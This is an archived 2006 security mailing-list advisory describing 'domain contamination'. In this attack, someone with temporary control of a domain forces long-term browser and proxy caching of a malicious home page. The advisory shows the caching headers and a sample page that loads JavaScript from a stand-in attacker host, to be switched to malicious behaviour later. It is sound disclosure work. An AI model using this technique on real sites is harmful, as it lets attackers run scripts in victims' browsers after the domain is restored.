

[REVS] Domain Contamination

Source: <http://www.derkeiler.com/Mailing-Lists/Securiteam/2006-02/msg00017.html>

- *From:* SecuriTeam <support@xxxxxxxxxxxxxx>
 - *Date:* 7 Feb 2006 12:28:41 +0200
-

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>
-- promotion

The SecuriTeam alerts list – Free, Accurate, Independent.

Get your security news from a reliable source.
<http://www.securiteam.com/maillinglist.html>

Domain Contamination

SUMMARY

This brief write-up describes an attack that exploits an inherent flaw of the client-side trust model in the context of cyber-squatting and domain hijacking, or in general, in the context of obtaining temporary ownership of a domain (or major parts of it, e.g. defacing the main page). Put simply, the idea explored is to force long term caching of malicious pages in order for them to still be in effect even when the domain returns to its rightful owner.

Various attack vectors are discussed in this write-up, as well as possible protection techniques. While previous works hinted at the possibility of such attacks, it is worthwhile to discuss this in depth and to refute the common misconception that cyber-squatting, domain hijacking and similar attacks don't have a long lasting effect.

DETAILS

Audience:
Since part of the material is considered to be of certain novelty, yet is not too technical or too obscure, the audience comprises of:
* Security experts

[REVS] Domain Contamination

- * Sys Admins
- * Management
- * Developers

Introduction and background:

Of interest to this write-up is a scenario wherein a domain (the example that will serve us throughout this write-up is "vuln.site") is temporarily under the control of an attacker.

That is, the attacker is able to serve (or to cause serving) the entry point to the web site (denoted as "home page") of a host (or several hosts) in the given domain (e.g. www.vuln.site, with home page defined to be <http://www.vuln.site/>). Until today, the assumption was, that once the attack is over, i.e. once the domain is (back) in control of its rightful owner, or when the defaced home page is restored to its original form, the attack is over and practically no long term effects remain. This write-up shows that a sophisticated attacker can inflict long lasting damage that takes effect long after the domain/page is restored.

This direction is hinted in

<http://www.packetstormsecurity.org/papers/general/whitepaper_httpresponse.pdf> "Divide and Conquer – HTTP Response Splitting, Web Cache Poisoning Attacks, and Other Topics",
<<http://www.acrossecurity.com/aspr/ASPR-2004-10-13-1-PUB.txt>> "ASPR #2004-10-13-1: Poisoning Cached HTTPS Documents in Internet Explorer", and
<<http://www.watchfire.com/resources/HTTP-Request-Smuggling.pdf>> "HTTP Request Smuggling", but until this write-up, was not fully discussed .

The prerequisite for this attack is therefore that an attacker can fully control the content of the "home page" (or any other popular page) on a host in the domain.

This can be achieved via the following attacks:

Cyber-squatting: the attacker registers a domain that would later be transferred to another party (either by that party filing claims on the domain, or by selling the domain).

Domain hijacking: the attacker gets hold of a domain already registered for another party, using an attack such as social engineering, hacking DNS servers, or DNS cache poisoning.

Defacement: the attacker hacks into a server that hosts a website in the domain, and replaces the content of the main page with his/her own version.

Web cache poisoning: the attacker can place poisoned versions of the home page of www.vuln.site in various web cache servers (see <http://www.packetstormsecurity.org/papers/general/whitepaper_httpresponse.pdf> "Divide and Conquer – HTTP Response Splitting, Web Cache Poisoning Attacks, and Other Topics" and <<http://www.watchfire.com/resources/HTTP-Request-Smuggling.pdf>> "HTTP Request Smuggling", but until this write-up, was not fully discussed).

Attack outline:

The attack is pretty simple: the attacker, once gaining control of the

[REVS] Domain Contamination

domain, entices as many clients to browse to the malicious page (<http://www.vuln.site/>). This page will be served by the attacker in such manner that it will be cached for as long as possible by the clients (browsers, possibly also proxy servers through which the clients surf the web, possibly also any reverse proxy employed by the site, any forward proxy that the attacker has access to, and of course, any cache server the attacker poisons in order to realize the attack).

Caching is controlled via either explicit HTTP headers, or HTML META tag virtual HTTP headers. In any case, including the following headers would make the data cache-able for a long time:

```
Cache-Control: public
Expires: Wed, 01 Jan 2020 00:00:00 GMT
Last-Modified: Fri, 01 Jan 2010 00:00:00 GMT
```

Now that <http://www.vuln.site/> is cached "forever" at the browser with malicious content, this content will be rendered each time the browser is pointed at <http://www.vuln.site/> even after the domain or server content is restored. This was verified with MSIE 6.0 SP2.

To illustrate what can be done, consider a simple HTML page that loads Javascript code from the attacker's server:

```
<html>
<body>
<script src="http://www.evilmalicious.site/attack.js"></script>
</body>
</html>
```

As long as the domain/server remains in the hands of the attacker, the script contents, <http://www.evilmalicious.site/attack.js>, may be dormant (do nothing), or even subtler, e.g. redirect the victim to another site, e.g. a genuine one owned by the same organization that is (or will be) the owner of vuln.site. Once vuln.site is transferred to its rightful owner, the attacker can switch <http://www.evilmalicious.site/attack.js> to perform malicious activities, as will be discussed below.

To read more please visit:

<http://www.webappsec.org/projects/articles/020606.shtml>
<http://www.webappsec.org/projects/articles/020606.shtml>

ADDITIONAL INFORMATION

The information has been provided by <mailto:contact@xxxxxxxxxxxxx>
Robert Auger.

The information has been written by aksecurity@xxxxxxxxxxxxx Amit Klein

The original article can be found at:

<http://www.webappsec.org/projects/articles/020606.shtml>
<http://www.webappsec.org/projects/articles/020606.shtml>

=====

This bulletin is sent to members of the SecuriTeam mailing list.

To unsubscribe from the list, send mail with an empty subject line and body to:

list-unsubscribe@xxxxxxxxxxxxxxxx

In order to subscribe to the mailing list, simply forward this email to: list-subscribe@xxxxxxxxxxxxxxxx

=====

=====

DISCLAIMER:

The information in this bulletin is provided "AS IS" without warranty of any kind.

In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.